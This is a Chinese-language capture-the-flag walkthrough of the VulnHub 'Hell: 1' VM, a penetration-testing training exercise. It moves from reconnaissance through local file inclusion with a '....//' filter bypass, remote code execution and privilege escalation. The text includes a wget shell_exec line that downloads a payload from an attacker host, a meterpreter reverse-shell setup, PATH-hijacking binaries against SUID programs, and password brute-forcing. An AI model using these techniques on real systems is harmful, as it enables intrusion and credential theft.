Hell: 1
项目地址:https://download.vulnhub.com/hell/hell.ova
是一个打包好的镜像文件
注意:导入 vmx 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本

666 端口响应内容如下
1 | Welcome to the Admin Panel |
扫描目录

继续扫描 /manual 和 /persinal 目录没有结果,于是看看君子协议

有新的路径了,继续扫描可算是有结果了

弱口令
Admin
打开是一个登录页面

去别网页看看有没有泄露一些用户名之类的


结合起来扔给 Ai 生成一个字典文件得到
1 | jack/g0tmi1k69 |

越权
intruder
在 Personal Folder 中发现新的登录框

连续错误三次会报错回显到网页上

检查 Cookie 看到一个 intruder 的值为 1

改为 0 后报错就不见了

任意文件读取
intruder(双写绕过)
很多 PHP 开发者为了模块化处理错误,喜欢使用 include 或 require 来加载不同的模板
1 | if ($_COOKIE['intruder'] == '1') { |
怀疑这里存在本地文件包含漏洞,尝试获取 /etc/paswd 文件
但是 ../ 貌似被过滤了,使用 ....// 代替绕过
当攻击者输入 ....// 时,过滤过程如下:
匹配阶段: 过滤器从左向右扫描,在
....//中发现了中间的../替换阶段: 过滤器将匹配到的
../删掉结果产出: 剩下的两端字符——左边的
..和右边的/——自动“塌陷”合并,变成了../
1 | ....//....//....//....//....//....//etc/passwd |

RCE
Notes(结合任意文件读取组合拳)
在 Notes 中发现一个输入框,它会将内容保存到 note.txt 中

可以尝试编写一个反弹 Shell,先使用 MSF
1 | msfpayload php/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=443 R > sneaky.txt |
然后监听
1 | msf > use multi/handler |
然后注入命令
1 | echo shell_exec('wget http://192.168.0.110/sneaky.txt -O /tmp/sneaky.txt 2>&1'); |
Cookie 被修改为 /tmp/note.txt(至于为什么是 /tmp 目录,只能说凭感觉)
页面重新加载时,我们的恶意 note.txt 文件会被包含在内,PHP 会被解析,我们的有效载荷文件会被下载

再次修改 Cookie 以包含 /tmp/sneaky.txt
1 | [*] Sending stage (40551 bytes) to 192.168.0.103 |
提权
Python 升级为交互式 Shell
1 | python -c 'import pty;pty.spawn("/bin/sh")' |
敏感信息泄露
在 /super_secret_login_path_muhahaha/ 目录下的文件中使用 grep 命令快速搜索单词password,结果如下
1 | $ grep password /var/www/super_secret_login_path_muhahaha/* |
拿到密码
1 | zgcR6mU6pX |
提权成功
1 | $ su jack |
PGP 加密邮件破解
在 /var/mail/jack/received 目录下有一封加密邮件
1 | -----BEGIN PGP MESSAGE----- |
Jack 在本地主机上使用 PGP,因此他的 PGP 密钥存储在 /home/jack/.pgp 中,并附有一条注释,为我们提供了密码提示
1 | $ ls -l .pgp |
我们可以假设密码是 g0tmi1k69 或 zgcR6mU6pX
GPG 已安装,因此下一步合乎逻辑的做法是尝试使用这两个密码之一以及 Jack 的 PGP 私钥来解密电子邮件
1 | $ gpg --import .pgp/pgp.priv |
继续提权到新的账号
1 | $ su milk_4_life |
环境变量劫持
milk_4_life 的主文件夹非常空,只有一个名为 game 的二进制文件
但是,它的所有者是 george 用户,并且设置了 suid 属性
1 | $ ls -l |
运行该二进制文件会产生以下输出
1 | $ ./game |
这台虚拟机上没有 netstat 命令,我们使用 ss 代替
该程序确实是在监听,端口是 1337
1 | $ ss -lp |
使用 telnet 远程连接看看发现是个小游戏
1 | $ telnet 127.0.0.1 1337 |
编写脚本破解这个数学题
1 | import socket |
运行脚本
1 | $ python gamey3.py |
看起来,当最高分被打破时,这个二进制文件会执行某个操作
我不确定它修改了什么权限,但我很好奇我们是否可以反过来利用它,让它运行一个伪造的二进制文件,劫持环境变量呢?
创建恶意二进制文件
1 |
|
修改路径环境变量,使 /tmp 成为第一个检查的位置
1 | $ PATH=/tmp:$PATH |
分数被打破,我们确实被降级到一个新的 shell,成为 george 用户
1 | $ ./game |
TrueCrypt 爆破
乔治的个人文件夹里只有一个文件——TrueCrypt 加密容器
挂载 TrueCrypt 容器需要我们知道容器密码,但我们目前还没有这个密码
1 | george@hell:~$ truecrypt --mount container.tc |
再仔细看看,乔治似乎也报名参加了 RockYou
1 | From: admin@rockyou.com |
爆破出密码为
1 | letsyouupdateyourfunnotesandmore |
SSH 私钥泄露
现在挂载它就容易多了
1 | george@hell:~$ truecrypt --mount container.tc |
让我们用这个密钥以 bazza 的身份通过 SSH 登录
1 | george@hell:~/tc$ ssh bazza@127.0.0.1 -i ./id_rsa |
环境变量劫持
我们再次遇到了两个设置了 SUID 属性的二进制文件,不过这次我们可以读取这些文件,这意味着我们可以反编译它们
先来看 part1,它对指定文件进行完整性校验,确认无误后执行目标程序
1 | int __cdecl main() |
再来看 part2,简单的权限检查示例
1 | int __cdecl main() |
因此,只有当有效组标识符为 1003 时,part2 才会运行
运行 part1 会改变我们的有效组标识符,运行 part2 会改变我们的有效用户标识符,但似乎不会让我们以该用户 (oj) 的身份进入 shell
1 | $ ./part1 |
进一步查看第二部分的源代码发现,它并没有为 system(“id”) 函数使用绝对路径,因此我们可以像之前修改伪造的 chmod 二进制文件那样,诱使该应用程序运行一个伪造的 id 二进制文件
1 |
|
文件已编译,放置在 /tmp 目录下并设置为可执行文件
环境变量路径已按上次修改,一切就绪
1 | $ ./part1 |
oj 用户只有一个文件,一个名为 echo 的二进制文件,它的功能就是重复你发送的内容
这一关需要结合二进制——字符串格式化漏洞去打才行,所以不会记录